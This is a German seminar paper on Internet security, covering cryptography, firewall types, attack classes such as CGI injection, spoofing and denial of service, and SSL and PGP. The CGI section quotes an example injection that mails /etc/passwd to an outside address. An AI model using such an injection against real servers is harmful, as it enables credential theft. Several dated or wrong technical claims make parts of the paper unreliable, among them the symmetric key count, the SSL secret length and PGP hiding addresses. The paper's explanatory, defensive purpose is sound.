Seminar Internet Technologien
Christian Wachsmann
Diese Ausarbeitung erläutert grundlegende Begriffe und Verfahren zum Thema Sicherheit im Internet". Aufgrund der Komplexität der Themen und der Länge dieser Ausarbeitung können alle Themengebiete nur angerissen werden. Ziel ist es, dem Leser eine Übersicht zu geben und Interesse für eigenes Studium zu wecken. Nach einer Einleitung, die den Leser mit den Begriffen Sicherheit" und Risiko" vertraut machen soll, wird eine Einführung in die Gebiete der Kryptographie gegeben, die von Bedeutung für die nachfolgenden Kapitel sind. Im Abschnitt über Firewalls wird auf die grundsätzlichen Eigenschaften sowie auf die verschiedenen Typen von Firewalls eingegangen. Es folgt eine Vorstellung einiger ausgewählter Angriffstechniken, wobei eine Klassifizierung verschiedener Angriffarten gegeben wird. Der Rest der Arbeit beschäftigt sich mit ausgewählten Gegenmaßnahmen, hier werden SSL und PGP näher vorgestellt.
Einleitung
Grundlagen der Kryptographie
Firewalls
Ausgewählte Angriffsarten
Ausgewählte Schutzmaßnahmen
Ausblick
Literatur
Im Anfangsstadium des Internet, konzipiert als Verbund von Forschungseinrichtungen, waren Offenheit und ungehinderte Kommunikation wichtiger als Sicherheitsaspekte. Mit dem wachsenden Ansturm auf das Netz, mit dem auch Homebanking, Mailorder und andere Dienste Einzug hielten, erhalten jedoch Sicherheitsfragen eine immer höhere Priorität. Diese Einleitung soll zunächst für die Begriffe Sicherheit" und Risiko" sensibilisieren. Dabei steht im Vordergrund, welche Gefahren überhaupt vom Internet ausgehen können, und wie real diese Gefahren wirklich sind.
Zunächst werfen wir einen Blick auf die grundsätzlichen Gefahren eines Internetanschlusses. Für Organisationen und Unternehmen steht dabei an erster Stelle wohl das Eindringen von nicht autorisierten Personen in deren privates Datennetz. Daraus können schwerwiegende Konsequenzen enstehen: Löschung, Verfälschung und Einfügung von Daten, der Verlust von vertraulichen Informationen, die Störung der Netzverfügbarkeit und nicht zuletzt der Imageschaden, der einer Organisation dadurch entstehen kann. Neben diesem aktiven Engagement krimineller Elemente kann auch eine eher passive Gefahr vom Internet ausgehen, bei der durch das Einschleppen von Viren oder Trojanischen Pferden per Datenübertragung aus dem Internet das eigene System beschädigt oder ausspioniert wird. Schließlich stellt die Vortäuschung falscher Identität eine weitere Gefahr dar, bei der eine Internet-Adresse mißbräuchlich durch Dritte verwendet wird.
Als nächstes ist die Identität der potentiellen Angreifer zu klären. Erkenntnisse darüber können Einfluß nehmen auf Art und Stärke eines Sicherheitsystems. Die Abwehr von Informatikstudenten, die mit PC und Modem bewaffnet erste Hack-Erfahrung sammeln, ist sicherlich leichter als die Abwehr von Profis oder von Angriffen aus der eigenen Organisation. Mit dem Boom des Internets kann ein Wandel von Hackern aus der Untergrundszene zu professionellen, bezahlten Hackern sowie herkömlichen Kriminellen beobachtet werden. Folgende Personengruppen werden im allgemeinen unterschieden, wobei Motivation, Ziele und technische Ausrüstung der jeweiligen Personengruppen weit gestreut sind: Mitarbeiter der eigenen Organisation, Studenten/Teenager aus dem Universitäts- und Schulumfeld, Hacker/Cracker aus der Computer-Untergrundszene, herkömmliche Kriminelle/organisierte Kriminalität und professionelle Hacker/Industriespione.
Da nun geklärt ist, von wem welche Gefahren ausgehen, soll nun untersucht werden, ob wirklich eine reale Bedrohung gegeben ist, oder ob in der öffentlichen Diskussion Panikmache betrieben wird. Bei der Diskussion um Sicherheitaspekte im Internet wird häufig übersehen, daß die EDV-Infrastruktur einer Organisation auch ohne Internet einem grundsätzlichen Risiko ausgesetzt ist. Dabei werden mehr als zwei Drittel der Fälle von den eigenen Mitarbeitern ausgelöst. Beispiele dafür sind das Einschleppen von Viren über private Disketten, Fehlbedienung von Hard- und Software und ...wollte nur sehen, was passiert wenn..."-Aktionen. Folgende Grafiken zeigen, das Organisationen mit Internetanschluß zwar in Punkto Netzwerkeinbrüchen einem höheren Risiko ausgesetzt sind, diese aber in Relation mit den eben erläuterten Grundrisiken nur eine relativ geringe Rolle spielen.

Um es anders auszudrücken: wenn eine Organisation einen Datenverlust erleidet, so ist es im Prinzip egal, ob dies durch einen Hacker oder einen Festplattencrash verursacht wurde.
Mit Hilfe von systematischen Risikoanalysen versuchen Organisationen, eine Einordnung der Wahrscheinlichkeit von Sicherheitsvorfällen durchzuführen. Der Begriff Risiko ist dabei nach DIN, VDE Norm 31000 folgendermaßen definiert:
Untersuchungen haben gezeigt, daß das Risiko, von einem Internet-Sicherheitsrisiko betroffen zu sein, für einen einzelnen Host etwa einmal in 45 Jahren beträgt. Für eine Domain beträgt das Risiko immerhin schon einmal in 0,8 Jahren. Zum Vergleich: von einem Festplattencrash ist man statistisch gesehen einmal in 75 Jahren betroffen, von einem tödlichen Autounfall etwa alle 6250 Jahre.
Zusammenfassend kann man sagen, daß es vom Sicherheitskonzept der Organisation abhängt, inwiefern den zusätzlichen Risiken, die vom Internet ausgehen, Beachtung geschenkt wird. Unternehmen mit vertraulichen Daten werden hohe Investitionen in Kauf nehmen, um das Risiko eines Informationsverlust zu minimieren. Dazu zählen auch Organisationen, die aus datenschutzrechtlichen Gründen zu Schutzmaßnahmen gezwungen sind.
Eine letzte aktuelle Anmerkung: am 29.05.1998 meldete das Statistische Bundesamt, daß die Kriminalität in Deutschland insgesamt zwar leicht rückläufig ist, die Computerkriminalität aber um 22% im Vergleich zum Vorjahr zunahm.
In der Diskussion um Sicherheitsaspekte im Internet wird die Verschlüsselung oft als ultimative Waffe gegen Angreifer gepriesen. Nach Ansicht vieler Autoren ist dies nicht der Fall, Kryptographie ist nur" ein wertvolles Werkzeug im Dienst des eigentliches Ziels. Es stellt aber die Grundlage für viele Systeme dar, die in dieser Ausarbeitung erwähnt werden, und deshalb soll in diesem Kapitel eine Einführung in die Kryptographie gegeben werden.
Zwar sind ausreichend verschlüsselte Nachrichten für einen Angreifer nicht lesbar, allerdings interessiert im Rahmen des Internet genauso die durch Kryptographie implizierte Authentifikation. Authentifikation bezeichnet den Vorgang des Beweisens der eigenen Identität. Das ist nicht dasselbe wie die Zusicherung der Identität (Identifikation) und die Ableitung von Rechten aus dieser Identität (Autorisierung).
In der Kryptographie unterscheidet man zwischen symmetrischen und asymmetrishen Verschlüsselungsverfahren. Bei den symmetrischen (auch Private-Key-) Verfahren gibt es nur einen Schlüssel, mit dem sowohl ver- als auch entschlüsselt wird. Der wesentliche Nachteil dieses Verfahrens ist die Übertragung des Schlüssels selbst. Wird bei der Übertragung der Schlüssel abgefangen, ist der ganze Aufwand des Verschlüsselns sinnlos. Ein weiterer Nachteil ist die Anzahl der Schlüssel, die zur Kommunikation mehrerer Parteien benötigt werden. Wenn es n Parteien gibt, die untereinander kommunizieren, werden n² Schlüssel benötigt.
Als Beispiel für einen symmetrischen Chiffre soll kurz IDEA vorgestellt werden. IDEA zählt zu den Blockchiffren, dabei werden 64 Bit-Blöcke Klartext in 64 Bit-Blöcke Chiffrat abgebildet und umgekehrt. Dazu wird ein 128 Bit breiter Schlüssel verwendet. Die Verschlüsselung wird durch drei verschiedene Operatoren Exklusiv-Oder, Modulo-Addition und Modulo-Multipikation realisiert. Acht mal in Folge wird der Klartext mit dem Schlüssel durch einen der Operatoren verknüpft. Dadurch wird erreicht, das kleine Änderungen im Schlüssel oder im Klartext große Wirkungen im Chiffrat zur Folge haben. So kann aus dem Chiffrat kaum Information über die Eingaben gewonnen werden. Die Sicherheit dieses Verfahren beruht auf der Schlüssellänge: um den Klartext aus dem Chiffrat mit einer Brute-Force-Methode zu dechiffrieren, müßten sämtliche 2128 Schlüsselkombinationen durchprobiert werden. Mit der heutigen Rechnergeneration ist dies nicht in einer vernünftigen Zeit zu realisieren.
Asymmetrische Verfahren (Public-Key-Verfahren) bieten eine andere Lösung. Hier gibt es zwei Schlüssel, einer zum Codieren und einer zum Decodieren. Wichtig ist, daß aus dem öffentlichen Schlüssel zur Verschlüsselung nicht der geheime Schlüssel zur Entschlüsselung abgeleitet werden kann. Jeder Teilnehmer veröffentlicht seinen öffentlichen Schlüssel, und hält den privaten Schlüssel zum Dechiffrieren geheim. Will man jemandem eine Nachricht schicken, so schlägt man den betreffenden Public-Key nach und verschlüsselt die Nachricht damit. Der Empfänger kann dann mit seinem privaten Schlüssel die Nachricht decodieren.
Public-Key-Systeme haben zwei wesentliche Nachteile. Erstens sind die Schlüssel im Vergleich zu konventionellen Kryptosystemen sehr groß. Dies kann sich als Problem erweisen, wenn sie eingegeben oder übermittelt werden müssen, besonders bei sicheren Mail-Nachrichten. Zweitens sind die Ver- und Entschlüsselung bedeutend langsamer. Das erste Problem ist kaum beeinflußbar. Das zweite Problem wird umgangen, indem solche Systeme hauptsächlich zur Schlüsselverteilung eingesetzt werden. Ein Vorteil dieser Systeme ist, daß im Gegensatz zu den Private-Key-Verfahren die Schlüsselzahl linear mit der Anzahl der Kommunikationsteilnehmer steigt. Pro Teilnehmer wird nur ein Schlüsselpaar benötigt.
Das bekannteste und wichtigste Public-Key-Kryptoverfahren heißt RSA. Seine Sicherheit beruht auf der Schwierigkeit, sehr große Zahlen zu faktorisieren. Um RSA einzusetzen, werden zwei große Primzahlen p und q gewählt, die beide wenigstens mehrere hundert Bit lang sein sollten. Aus diesen beiden Zahlen werden der private und der öffentliche Schlüssel abgeleitet, wobei das mathematische Verfahren hier nicht interessieren soll. Es ist kein Verfahren bekannt, den privaten Schlüssel aus dem öffentlichen Schlüssel abzuleiten, welches ohne die Faktorisierung von pq auskommt, und die Faktorisierung großer Zahlen gilt als sehr aufwendig.
Mit der Umkehrung des obigen Prinzips lassen sich mit RSA auch digitale Signaturen realisieren. Die mathematische Struktur von RSA erlaubt es, einen Klartext durch Entschlüsselung zu codieren und durch Verschlüsselung zu decodieren. Um eine Nachricht zu unterschreiben, entschlüsselt der Urheber die Nachricht mit seinem privaten Schlüssel. Jeder kann die Echtheit der Nachricht überprüfen, und sie dabei sichtbar machen, indem er sie mit dem öffentlichen Schlüssel verschlüsselt. Mit RSA lassen sich also Nachrichten erzeugen, die sowohl verschlüsselt, als auch authentisch sind. Das einzige Problem dabei ist, daß man nicht sicher sein kann, ob ein veröffentlichter Schlüssel authentisch ist. Ein Angreifer könnte Schlüssel einiger Teilnehmer verfälschen. Gelöst wird dieses Problem durch sogenannte Zertifikate. Ein Zertifikat ist eine Kombination einer Identifikation (also ein Teilnehmername) und des zugehörigen Public-Keys, die von einer vertrauenswürdigen dritten Partei digital unterschrieben ist. Diese Unterschrift benötigt natürlich ihren eigenen Public-Key. Dazu kann die Unterschrift einer noch vertrauenswürdigeren Partei notwendig sein dieses Verfahren läßt sich beliebig lange fortsetzten. Im Abschnitt über PGP (Seite 18) wird dieses Verfahren am Beispiel des Web of Trust nochmals erläutert.
Sichere Hash-Funktionen bilden einen beliebig langen Text auf einen kurzen Hashwert ab, den sogenannten digitalen Fingerabdruck. Sichere Hash-Funktionen besitzen keine Umkehrfunktion und der Hashwert läßt keine Rückschlüsse auf die ursprünglichen Daten zu. Er charakterisiert diese, ohne etwas über deren Inhalt auszusagen.
Sichere Hash-Funktionen haben zwei Haupteinsatzgebiete. Zum einen kann jedes digitale Signatursystem statt auf die Nachricht selbst auf den Hash-Wert angewendet werden. Dies ist im allgemeinen sehr viel billiger, weil die Eingabe für das Signatursystem (z.B. RSA) sehr viel kürzer ausfällt. Zweitens kann die Integrität eines Dokuments garantiert werden. Dazu wird der digitale Fingerabdruck einer Nachricht mit dieser übermittelt. Der Empfänger errechnet noch einmal den Fingerabdruck der Nachricht und vergleicht mit dem Sollwert. Unter Verwendung der Message-Digest-Hash-Funktionen (MD2, MD5) führt eine Verfälschung der Nachricht in 264 Fällen zur Veränderung des Hashwerts. Anders ausgedrückt: um zwei unterschiedliche Texte zu finden, die den gleichen Hashwert besitzen, sind im Durchschnitt 264 Versuche notwendig.
In diesem Abschnitt geht es darum, ein lokales Netzwerk, das über ein Gateway mit dem Internet oder auch einem anderen öffentlichen Netz (etwa ISDN) verbunden ist, vor ungebetenen Besuchern von außen zu schützen. Firewalls sind hier das Mittel zum Zweck, um das LAN vom Rest des Internets abzuschotten. Firewalls sind Softwaresysteme, die auf einem Gateway installiert als Nadelöhr zwischen LAN und Internet nur definierten Datenverkehr durchlassen.
Eine Firewall muß folgende Bedingungen erfüllen:
Firewalls werden normalerweise zwischen lokalem Netz und Internet plaziert, aber auch innerhalb des lokalen Netzes können noch Firewalls installiert werden, etwa um eine Forschungsabteilung vom restlichen LAN abzuschotten.
Es werden drei Arten von Firewalls unterschieden: der Paketfilter, der Application Gateway (Anwendungsschicht Gateway) und der Circuit Relay (Transportschicht Gateway). Jedes dieser Konzepte soll nun vorgestellt werden.
Paketfilter sind der preiswerteste Sicherheitsmechanismus für Gateways, denn die Router Software hat schon die Fähigkeit zur Paketfilterung, und ein Router wird meist sowieso benötigt, um sich dem Internet anzuschließen. Paketfilter verwerfen IP-Pakete in Abhängigkeit ihrer Quell- oder Zieladressen, dem verwendeten Protokoll oder benutzerdefinierter Bitmasken. Dies geschieht im allgemeinen kontextfrei, nur auf den Inhalt des aktuellen Pakets gestützt. Je nach Typ des Routers erfolgt die Filterung entweder bei eingehenden oder abgehenden Paketen oder bei beiden. Der Systemverwalter gibt entweder eine Positivliste akzeptabler Maschinen und Dienste oder eine Negativliste der verbotenen an. Damit läßt sich auf Host- und Datennetzebene der Zugang leicht steuern. Dabei lassen sich zwei Strategien beim Betrieb einer Firewall erkennen: Es ist alles verboten, was nicht expliziert erlaubt ist" oder Es ist alles erlaubt, was nicht explizit verboten ist".
Ist man auf feinere Kontrollmöglichkeiten angewiesen (etwa bestimmte Mail von bestimmten Hosts ist nicht erlaubt, außer an jedem dritten Dienstag im Monat), so müssen die Positiv- und Negativlisten über formale, logische Ausdrücke spezifiziert werden, und diese in eine dem Router verständliche Syntax übersetzt werden. Da dies nicht automatisch geschieht, ist dies fehleranfällig, und Konfigurationsfehler bei der Paketfilterung öffnen leicht ein Hintertürchen für Angreifer.
Sowohl Curcuit Relays als auch Application Gateways werden im allgemeinen als Proxy Server bezeichnet. Die auf dem Proxy Server installierte Software fungiert als Vermittler zwischen internem Netzwerk und externem Internet. Die TCP bzw. UDP Verbindungen enden, vom internen Netzwerk kommend, am Circuit Relay und werden von da aus zum Internet neu aufgebaut.
Im Gegensatz zum Paketfilter, der auf der Netzwerkschicht arbeitet, setzt der Circuit Relay zwischen Transport- und Anwendungsschicht an. Dadurch ist jedoch erforderlich, daß die Client-Software darauf Rücksicht nimmt und mit bestimmten Erweiterungen ausgestattet wird. Nachdem der Circuit-Relay-Server die ersten Pakete empfangen hat, baut er seinerseits eine Verbindung zum eigentlichen Ziel auf. Verläuft auch dieser Vorgang erfolgreich, so kopiert der Server den Nutzlast-Datenstrom zwischen internem Host und Internet-Host hin und her. So wird eine Kommunikation auf Applikationsebene ohne darunterliegende durchgehende TCP-Verbindung realisiert.
Die bekannteste und am weitesten verbreitete Implementation eines Circuit-Relays ist SOCKS, die für alle gängigen Betriebssysteme (Unix-Varianten, Linux, Windows NT) als Public-Domain-Software erhältlich ist. Damit eine Applikation mit SOCKS zusammenarbeitet, ist eine Modifikation der Applikation notwendig, die sogenannte SOCKSification".
Der Application-Gateway setzt im Gegensatz zum Curcuit Relay oberhalb der Anwendungsschicht an und ist deshalb die sicherste Firewall-Variante. Hier ist keine Modifikation der Client-Software notwendig, da ein Application Gateway sich gegenüber der Client-Software wie ein normaler Applikations-Server verhält. Analog dem Circuit Relay wird auch beim Application Gateway jede Verbindung erst auf Zulässigkeit geprüft, bevor eine Verbindung zum gewünschten Host aufgebaut wird. Und genau wie beim Circuit Relay besteht keine direkte Kommunikationsverbindung auf den OSI-Ebenen 3 und 4.
Durch Überwachung auf der Anwendungsschicht bieten sich vielfältige Überwachungs- und Kontrollmöglichkeiten. Am Beispiel eines ftp-Befehls soll dies erläutert werden. Gibt ein Benutzer im internen Netzwerk den ftp-Befehl put filename" an, so kann der Application Gateway, da er auf Anwendungsebene arbeitet, sowohl den Befehl put", als auch den Dateinamen erkennen. Schreibt das Sicherheitskonzept des Unternehmens vor, daß keine oder nur bestimmte Dateien aus dem internen Netzwerk ins Internet kopiert werden dürfen, so kann der Application Gateway hier einschreiten und keine weiterleitende Verbindung ins Internet aufbauen.
Dieses hohe Sicherheitsniveau hat allerdings seinen Preis: wie aus dem Beispiel ersichtlich wird, benötigt jeder Dienst sein eigenes Überwachungsprogramm. Da diese Form der Überwachung sehr rechenintensiv ist, muß im allgemeinen teuere Spezialhardware verwendet werden, da sonst der Netzdurchsatz signifikant verringert wird. Selbst finanzkräftige Organisationen werden deshalb wohl nur wenige Dienste anbieten, diese sind dafür aber um so sicherer.
Zum Abschluß dieses Abschnitts werfen wir noch einen Blick auf das, was Firewalls nicht leisten. Von welcher Seite man dieses Thema auch betrachtet, früher oder später stößt man auf den größten Sicherheitsstörfaktor Mensch. Macht der zuständige Systemadministrator auch nur einen winzigen Konfigurationsfehler, nutzt dies mit Sicherheit ein Eindringling für seine Zwecke aus. Dies führt uns wieder zu der schon erwähnten Forderung nach Einfachheit und Modularität von Firewalls. Wie aus der theoretischen Informatik bekannt, kann die Korrektheit von komplexen Systemen nicht bewiesen werden, also können nur Tests etwa mit dem Netzschwachstellenanalysepaket SATAN zeigen, daß die Firewall eine Schwachstelle hat. Falls keine Schwachstelle gefunden wird, heißt das noch nicht, das es keine gibt.
Und selbst wenn der Systemadministrator alles richtig konfiguriert hat und die größten technischen Anstrengungen unternommen hat, um das System vor Eindringlingen zu schützen: eine Firewall bietet nur beschränkten Schutz vor Organisations-Internen, da diese mit einem Tape in der Hosentasche die Firewall umgehen können.
Von technischer Seite betrachtet sind Firewalls lediglich in der Lage, Netzaktivitäten zwischen den OSI Schichten 2 und 7 (Netzwerkschicht bis Anwendungsschicht) zu überwachen. Angriffe anderer Form (z.B. Protokoll-Tunneling) können von Firewalls nicht verhindert werden, dazu sind weitere Sicherheitsmechanismen notwendig. Dazu zählen z.B. lückenlose Zugangskontrollen, physikalische Abschirmung von kritischen Komponenten und verschlüsselte Übertragung von Informationen.
In diesem Abschnitt soll eine Klassifizierung verschiedener Angriffsarten gegeben werden, die jedoch aus Platzgründen nur einen Teil des möglichen Spektrums abdeckt. Außer bei den Denial-of-Service-Angriffen ist bei allen Angriffsaktivitäten die Paßwort-Datei des zugrundeliegenden Betriebssystems das primäre Ziel. Sobald diese in den Besitz des Angreifer gelangt ist, nützen alle Firewalls und Authentifikationsmechanismen nichts mehr.
Der einfachste Weg in ein System ist in der Regel die Vordertür, sprich die Systemanmeldung bzw. der login-Befehl. Das Paßwortraten führt erschreckend oft und schnell zum Erfolg, persönliche Kenntnisse über den Inhaber eines Logins vorausgesetzt.
Eine Reihe von einfachen Gegenmaßnahmen gibt es, die jedoch relativ selten eingesetzt werden. Zum einen die biometrischen Verfahren, bei der Fingerabdruck oder Stimme das Paßwort ersetzen. Zum anderen Einmal-Paßworte oder Challenge-Response-Systeme, bei denen Paßwörter jeweils nur für eine Sitzung gültig sind. Stehen diese Mechanismen nicht zur Verfügung, sollten auf jeden Fall die bekannten Richtlinien zur Wahl von Paßwörtern beherzigt werden.
Fast ebenso einfach wie das Paßwortraten ist bei genügend Selbstbewußtsein und abgebrühtheit des Angreifers das Social Engineering. Dabei wird zum Beispiel mit einem Telefonanruf ein Benutzer oder Kunde vorgetäuscht, und der Operator zur Änderung eines Paßwortes oder zur vorrübergehenden Anlage eines Gastzugangs überredet. Die Gutgläubigkeit und Unwissenheit vieler Mitarbeiter macht es Angreifern leicht, selbst komplexe Sicherheitsmechnismen zu überwinden.
Als erstes Beispiel für diese Art von Angriff soll der CGI-Angriff erläutert werden, der zur Zeit die Hitliste der Angriffsverfahren anführt. Das Common Gateway Interface ermöglicht eine Kommunikation zwischen WWW Server und WWW Client. Variablen und Daten werden vom Browser an den WWW Server gesendet, dort von einem Programm verarbeitet und das Ergebnis wieder an den Client zurückgesendet. Das ausführende Programm ist meist in einer Interpretersprache wie Perl oder tcl realisiert. Genau darin liegt die Ursache für eine sehr einfache Einbruchsmöglichkeit in einen Web Server. Dem Interpreter-Skript können neben den eigentlichen Daten noch Unix-Kommandos übergeben werden. Diese werden dann meist unkontrolliert auf Betriebssystemebene ausgeführt.
Die generelle Gefahr liegt darin, daß viele Server die Benutzereingaben, bzw. die CGI Daten, nur unzureichend prüfen. Eine stattliche Anzahl von CGI-Programmen können, wie beschrieben, durch Eingaben wie
Eingabe; Unix-Befehl
zur Verarbeitung des Strings Eingabe" und im Anschluß zur Ausführung des angegebenen Befehls gebracht werden. Wird die CGI Variable direkt an die Unix-Shell zur Verarbeitung weitergegeben, so kann dies fatale Folgen haben. Ein Beispiel:
From: hacker@brazil.com Nette Website; mail 14464@anonymizer.com < cat /etc/passwd
Einträge wie dieser in den Gästebuch-Dateien von Web-Servern sind keine Seltenheit. Nach dem Semikolon steht der Unix-Befehl, der das Betriebssystem veranlaßt, die Paßwort-Datei des Systems an eine E-Mail Adresse zu senden.
Um sich vor dieser Art von Angriffen auf Web Server zu schützen, gibt es eine Reihe von einfachen Schutzvorkehrungen, die seltsamerweise von den wenigsten Administratoren beherzigt werden. Das wichtigste ist, das der httpd-Server-Daemon nie mit Root-Berechtigung betrieben wird, sondern mit möglichst geringen Benutzerrechten. Weiterhin sollten CGI Skripte den Input-String nach kritischen Zeichen filtern, dazu zählen Punkt, Komma, Semikolon, Slash und das Rufzeichen (!").
Das zweite Beispiel in diesem Abschnitt beschreibt einen Angriff, der Unzulänglichkeiten im TCP/IP Protokoll ausnutzt. Das sogenannte Internet-Address-Spoofing ist die am häufigsten benutzte Technik zur Überwindung von Firewalls und gleichzeitig die Grundlage für eine Reihe weiterer Angriffsmethoden. Dabei werden vom Angreifer synthetische Datenpakete mit gefälschter IP Sendeadresse erzeugt, die das Paket einer internen Station vortäuschen. Gefährlich ist diese Form des Angriffs vor allem dann, wenn Paketfilter-Firewalls zum Einsatz kommen, die lediglich in der Lage sind, am Ausgangsport von zu übertragenden Datenpaketen eine Filterung durchzuführen. Dabei geht die Information, ob es sich um ein internes oder aber um ein externes, gefälschtes Datenpaktet handelt, verloren. Es wird, sobald die Sendeadresse als aus dem eigenen Adreßbereich stammend erkannt wird, als Bestandteil der internen Kommunikation behandelt und dementsprechend weitervermittelt. Die folgende Grafik illustriert das Verfahren.

Der Angreifer aus dem Internet erzeugt dabei ein Spoofing-Paket mit der Sendeadresse 181.12.10.201. Als Zieladresse benutzt er die Adresse des Opfers, das sich im Netzwerk 181.12.11.67 befindet. Der Firewall-Router vermittelt zunächst das synthetische Paket an den gewünschten Ausgangs-Port 181.12.11.0 und überprüft erst hier anhand der Filtertabelle die Sendeadresse. Das Paket wird dabei irrtümlich als von einem aus dem internen Netzwerkseg-ment 181.12.10.0 stammenden System behandelt und weitervermittelt.
Die digitale Form des Vandalismus sind die Denial-of-Service Angriffe. Ihr Ziel ist es, einen Server oder ein komplettes System zum Zusammenbruch zu bringen. Mit der zunehmenden Anzahl kommerzieller Internet-Sites, z.B. E-Commerce-Server, Informations- und Software-Archive und Service-Provider, ist dies ein beliebtes Mittel der Konkurrenz, da ein Systemabsturz eine Geschäftsstörung impliziert. Der Image- und Finanzschaden der betroffenen Unternehmen ist enorm.
Ein Beispiel für einen Sabotageangriff ist der Ping-of-Death, bei dem ein synthetisches, unzulässig großes IP-Paket (> 65535 Bytes) in fragmentierter Form übertragen wird. Das angegriffene System stürzt bei dem Versuch ab, die Fragmente wieder zusammenzufügen. Ein anderes Beispiel sind die SYN-Flooding Angriffe, bei der in rascher Folge gesendete Verbindungsanforderungen das Opfersystem zum Absturz bringen können. Gegen solche Angriffe kann man sich durch Installieren von Patches bzw. Service-Packs wehren, aber im allgemeinen finden die Angreifer bald neue Schwachstellen.
In diesem Kapitel sollen zwei konkrete Schutzmaßnahmen vorgestellt werden. Beide Systeme können mit der Formel Sichere Kommunikation über unsichere Netze" beschrieben werden und basieren auf den kryptographischen Verfahren, die in Kapitel 2 vorgestellt wurden.
Eine wesentliche Schwäche des HTTP-Protokolls liegt darin, daß seine gesamte Kommunikation im Klartext erfolgt. Um die Übertragung von WWW Seiten vor Löschung, Verfälschung und Einfügung zu schützen, wurden zwei ursprünglich konkurrierende Sicherheitsprotokolle entwickelt: Secure Socket Layer (SSL) von Netscape, Inc. und S-HTTP von Terisa Systems. SSL hat sich inzwischen durchgesetzt, ist in den aktuellen Versionen aller namhaften Browser implementiert und wird im folgenden näher erläutert.
Basierend auf einer Kombination von RSA und DES (Data Encryption Standard, der Vorläufer von IDEA) beschreibt SSL eine zusätzliche Protokollschicht, die zwischen TCP/IP und den höheren Internetprotokollen eingefügt wird. Dadurch wird es möglich, alle im Internet gebräuchlichen Applikationsprotokolle (HTTP, Telnet, Gopher etc.) sicher zu übertragen. Vor allem für die Übertragung von sicherheitskritischen Informationen wie Adressen, Konto- und Kreditkartennummern wird SSL eingesetzt. Eine mittels SSL abgesicherte WWW Seite kann anhand der Adresse (HTTPS:// anstatt HTTP://) erkannt werden.
Um einen WWW-Server mit SSL geschützten Dokumenten zu betreiben, wird neben der entsprechenden Server-Software eine Zertifizierung benötigt. Die Serversoftware generiert einen öffentlichen und einen geheimen Schlüssel, die Zertifizierungsstelle generiert daraufhin mit einer sicheren Hash-Funktion einen digitalen Fingerabdruck, der das Zertifikat dieses Webservers repräsentiert. Der Einsatz einer neutralen Zertifizierungsstelle dient dazu, die Identität des Server-Betreibers für die Benutzer überprüfbar sicherzustellen.
Im Detail arbeitet SSL wie folgt. Zunächst wird in einer Handshake-Sequenz zwischen Server und Client ein geheimer Schlüssel (Secret Master) ausgetauscht. Der SSL Client generiert dazu mit einem Zufallszahlengenerator eine 48 Bit lange Bitsequenz (Pre Master Secret), verschlüsselt diese mit dem öffentlichen Schlüssel des Servers und sendet sie an den Server. Der Server dekodiert mit seinem privaten Schlüssel und erhält den originalen Pre Master Secret. Aus dieser Pre-Master-Secret-Bitsequenz generieren Server und Client jeweils mit einer sicheren Hash-Funktion den Master-Key. Jeder weitere Datenaustausch zwischen Server und Client erfolgt nun DES-verschlüsselt unter Benutzung des im Handshake-Prozeß vereinbarten Master-Keys. Dem Benutzer selbst bleibt der gesamte Mechanismus verborgen. Er wird lediglich mit einer Dialogbox darauf aufmerksam gemacht, daß er im Begriff ist, ein mittels SSL gesichertes Dokument aufzurufen.
Die frühen Implementationen von SSL kämpften mit Sicherheitsproblemen. Aufgrund einer Schwachstelle im Pseudozufallszahlengenerator mußten nur 220 Werte durchsucht werden, um den Master-Key zu ermitteln. Nachdem die Implementationen nachgebessert wurden, sollte nun eine nach menschlichem Ermessen sichere Kommunikation über das Internet möglich sein.
Pretty Good Privacy (PGP) ist ein System für das sichere Senden und Empfangen von E-Mail. Sicher meint dabei zweierlei: zum einen kann ein Angreifer, der IP-Fragmente der Mail abfängt, weder den Inhalt der Nachricht noch die Quell- und Zieladresse erkennen. Zweitens kann der Empfänger der Mail absolut sicher sein, daß die Mail authentisch ist, d.h. daß sie also wirklich von der Person ist, die sie mit ihrem privaten Schlüssel unterzeichnet hat. Die Nachricht selbst wird bei PGP mit Hilfe von IDEA verschlüsselt, der IDEA-Schlüssel zum Dekodieren der Nachricht wird RSA-geschützt übermittelt. Hier dient, wie oben erwähnt, RSA als Schlüsselverteiler. Die öffentlichen RSA-Schlüssel wiederum werden durch ein raffiniertes Zertifikatsgeflecht geschützt, das sogenannte Web of Trust.
Im Detail arbeitet PGP wie folgt. Für jede Nachricht wird ein 128-Bit Schlüssel zufällig generiert, der nur ein einziges Mal verwendet wird. Mit diesem Schlüssel wird die Nachricht mit dem IDEA Verfahren verschlüsselt. Anschließend wird der Schlüssel mit dem öffentlichen RSA-Schlüssel des Empfängers codiert und in die verschlüsselte Nachricht geschrieben. Der Empfänger kann nun mit Hilfe seines privaten RSA-Schlüssels den Einmal-Schlüssel wieder herstellen und die gesamte Nachricht entziffern. Dieser ganze Vorgang ist für den Benutzer nicht sichtbar.
Für die elektronische Signatur verwendet PGP eine Kombination aus der sicheren Hashfunktion MD5 und RSA. Aus der (Original-) Nachricht berechnet die MD5-Funktion den Hashwert, der anschließend mit dem privaten RSA-Schlüssel des Absenders codiert wird. Diese verschlüsselte Zahl wird nun zusammen mit der Schlüsselidentifikation (die letzten 64 Bit des Schlüssels) und einem Vermerk, wann die Unterschrift gemacht wurde, an die Nachricht angehängt. Die Software des Empfängers sucht im öffentlichen Schlüsselbund nach dem Schlüssel des Absenders und überprüft damit die Unterschrift.
Um sicherzustellen, daß der richtige öffentliche Schlüssel verwendet wird, müßte der erkennbar echte Empfänger am Telefon oder im direkten Gegenüber seinen angeblichen Schlüssel autorisieren. Dazu genügt es, statt aller Bytes nur den digitalen Fingerabdruck zu vergleichen, der von wiederum von einer sicheren Hash-Funktion erzeugt wurde. Wer die Echtheit eines Schlüssels überprüft hat, unterschreibt (authentifiziert) ihn mit seinem eigenen. Durch die Weitergabe solcher Zertifikate bildet sich allmählich das Web of Trust. Statt jeden Schlüssel selbst zu prüfen, vertraut man gegebenenfalls den Unterschriften von anderen. Ist man sich der Vertrauenswürdigkeit eines Bekannten nicht so sicher, etwa weil man ihm nicht zutraut, das Zertifizierungssystem verstanden zu haben, können auch mehrere unabhängige Unterschriften notwendig sein PGP gestattet verschiedene Vertrauensebenen.
Heutige Internet-Protokolle, wie TCP/IP und HTTP, bieten keinerlei Sicherheitsmechnismen. Es sind zusätzliche Protokolle, wie etwa SSL, notwendig, um eine sichere Kommunikation zu ermöglichen. In Zukunft soll die Funktionalität von zusätzlichen Protokollschichten oder zusätzlicher Client-Software (z.B. PGP) in die Basisprotokolle integriert werden.
